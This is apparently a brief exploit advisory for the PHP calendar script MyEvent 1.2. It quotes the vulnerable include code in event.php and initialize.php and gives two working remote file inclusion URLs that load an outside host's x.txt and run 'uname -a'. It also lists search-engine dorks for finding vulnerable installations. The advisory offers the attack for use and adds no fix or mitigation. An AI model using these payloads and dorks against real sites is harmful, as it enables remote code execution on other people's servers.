|
Website : http://mywebland.com/
Script : MyEvent
Version : 1.2
Risk : High
Class : Remote
Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends
Google look for :) = "MyEvent 1.2 " or "/calendar/myevent.php"
I. Remote Code Execution
This is script to very big high it bug being found.
"Event.php" remote code execution :
global $myevent_path;
include_once $myevent_path."includes/template.php";
$template = new Template($myevent_path."templates/") ;
$template->set_filenames(array(
'event' => 'event.tpl',
?>
Did you see the "myevent_path" :)
http://www.site.com/[path]/event.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a
"İnitialize.php" Remote Code :
include $myevent_path."config.php";
include $myevent_path.$language;
include_once $myevent_path."includes/template.php" ;
$db = mysql_connect($host,$login,$password);
mysql_select_db($base,$db);
>
Yep now code
http://www.site.com/[path]/initialize.php?myevent_path=http://www.site.com/x.txt?&cmd=uname -a
|
